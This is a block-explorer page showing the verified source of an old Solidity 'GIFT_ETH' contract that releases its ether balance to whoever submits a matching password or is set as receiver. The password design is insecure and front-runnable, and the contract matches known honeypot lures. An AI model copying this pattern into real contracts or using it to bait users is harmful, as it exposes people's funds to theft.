Verified contractPartial
GIFT_ETH
Address0x7fefc8bf6e44784ed016d08557e209169095f0f3
- Balance
0 ETH
- Transactions
7
- Compiler
solc 0.4.19
- Same code
Only this contract
Details
- Compiler
- solc 0.4.19+commit.c4cbbb05
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 5,795,764
- Creation transaction
- 0x1820fcb7e8…c64050d8f5
GIFT_ETH.sol
pragma solidity ^0.4.19;
contract GIFT_ETH
{
function GetGift(bytes pass)
external
payable
{
if(hashPass == keccak256(pass))
{
msg.sender.transfer(this.balance);
}
}
function GetGift()
public
payable
{
if(msg.sender==reciver)
{
msg.sender.transfer(this.balance);
}
}
bytes32 hashPass;
bool closed = false;
address sender;
address reciver;
function GetHash(bytes pass) public pure returns (bytes32) {return keccak256(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || hashPass==0x00)
{
hashPass = hash;
sender = msg.sender;
}
}
function SetReciver(address _reciver)
public
{
if(msg.sender==sender)
{
reciver = _reciver;
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(hash==hashPass&&msg.sender==sender)
{
closed=true;
}
}
function() public payable{}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.